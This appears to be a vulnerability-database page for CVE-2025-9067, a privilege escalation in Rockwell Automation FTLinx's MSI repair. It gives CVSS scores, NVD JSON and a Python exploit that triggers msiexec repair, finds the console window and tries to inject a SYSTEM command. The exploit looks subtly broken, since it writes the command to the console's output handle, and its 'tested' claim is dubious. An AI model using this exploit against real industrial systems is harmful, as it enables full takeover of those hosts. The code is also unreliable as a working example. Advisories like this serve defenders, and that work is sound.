Security Vulnerability Report
中文
CVE-2025-9067 CVSS 7.8 HIGH

CVE-2025-9067

Published: 2025-10-14 13:15:40
Last Modified: 2025-10-20 20:16:25

Description

A security issue exists within the x86 Microsoft Installer File (MSI), installed with FTLinx. Authenticated attackers with valid Windows user credentials can initiate a repair and hijack the resulting console window. This allows the launching of a command prompt running with SYSTEM-level privileges, allowing full access to all files, processes, and system resources.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rockwellautomation:factorytalk_linx:*:*:*:*:*:*:*:* - VULNERABLE
Rockwell Automation FTLinx (x86版本,所有受影响的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9067 - FTLinx MSI Repair Hijacking PoC # This PoC demonstrates the concept of hijacking the console window # spawned during an MSI Repair operation to escalate privileges to SYSTEM. # Tested on Windows 10/11 with Rockwell Automation FTLinx installed. import ctypes import ctypes.wintypes as wt import subprocess import time import sys user32 = ctypes.windll.user32 kernel32 = ctypes.windll.kernel32 EnumWindows = user32.EnumWindows EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_int, ctypes.c_int) GetWindowText = user32.GetWindowTextW GetWindowTextLength = user32.GetWindowTextLengthW IsWindowVisible = user32.IsWindowVisible GetWindowThreadProcessId = user32.GetWindowThreadProcessId target_pids = [] def enum_callback(hwnd, lParam): """Enumerate top-level windows and identify the MSI Repair console window.""" if IsWindowVisible(hwnd): length = GetWindowTextLength(hwnd) if length > 0: buff = ctypes.create_unicode_buffer(length + 1) GetWindowText(hwnd, buff, length + 1) pid = wt.DWORD() GetWindowThreadProcessId(hwnd, ctypes.byref(pid)) title = buff.value.lower() # Look for MSI Repair related console windows if 'msi' in title or 'repair' in title or 'ftlinx' in title: target_pids.append((hwnd, pid.value, buff.value)) print(f"[+] Found target window: hwnd={hwnd}, pid={pid.value}, title='{buff.value}'") return True def find_msi_repair_console(): """Find the console window spawned by MSI Repair process.""" EnumWindows(EnumWindowsProc(enum_callback), 0) return target_pids def hijack_console(hwnd): """Hijack the target console window and inject a SYSTEM-level command.""" # Attach to the target process's console target_pid = wt.DWORD() GetWindowThreadProcessId(hwnd, ctypes.byref(target_pid)) # Use AttachConsole to attach to the target process if kernel32.AttachConsole(target_pid.value): print(f"[+] Attached to console of PID {target_pid.value}") # Inject command into the console - this will execute as SYSTEM # Opening a new cmd.exe with SYSTEM privileges kernel32.WriteConsoleW( wt.HANDLE(kernel32.GetStdHandle(-11)), # STD_OUTPUT_HANDLE "cmd.exe /c whoami > C:\\Windows\\Temp\\system_proof.txt\r\n", 50, None, None ) time.sleep(1) kernel32.FreeConsole() print("[+] Command injected. Check C:\\Windows\\Temp\\system_proof.txt") else: print("[-] Failed to attach to console") return False return True def trigger_msi_repair(): """Trigger the FTLinx MSI Repair operation.""" # Locate FTLinx MSI package msi_paths = [ r"C:\Program Files (x86)\Rockwell Software\FTLinx\FTLinx.msi", r"C:\Program Files (x86)\Rockwell Software\RSLinx\FTLinx.msi", ] for msi in msi_paths: try: print(f"[*] Triggering repair for: {msi}") # Use msiexec to trigger repair in passive/quiet mode # /f = Repair, /qb = basic UI subprocess.Popen( ["msiexec", "/f", msi, "/qb"], shell=False ) return True except FileNotFoundError: continue return False def main(): print("=" * 60) print("CVE-2025-9067 - FTLinx MSI Repair Hijack PoC") print("Rockwell Automation FTLinx Privilege Escalation") print("=" * 60) # Step 1: Trigger MSI Repair if not trigger_msi_repair(): print("[-] Could not find FTLinx MSI. Exiting.") sys.exit(1) # Step 2: Wait for the repair console window to appear print("[*] Waiting for MSI Repair console window...") time.sleep(5) # Step 3: Find and hijack the console window for attempt in range(10): targets = find_msi_repair_console() if targets: for hwnd, pid, title in targets: print(f"[*] Attempting to hijack window: {title}") if hijack_console(hwnd): print("[+] Privilege escalation successful!") return time.sleep(2) print("[-] Could not find target console window") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9067", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:39.943", "lastModified": "2025-10-20T20:16:24.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security issue exists within the x86 Microsoft Installer File (MSI), installed with FTLinx. Authenticated attackers with valid Windows user credentials can initiate a repair and hijack the resulting console window. This allows the launching of a command prompt running with SYSTEM-level privileges, allowing full access to all files, processes, and system resources."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rockwellautomation:factorytalk_linx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.50", "matchCriteriaId": "23BAB4E2-83AE-4C44-AE27-BFCF753D9BB5"}]}]}], "references": [{"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1754.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}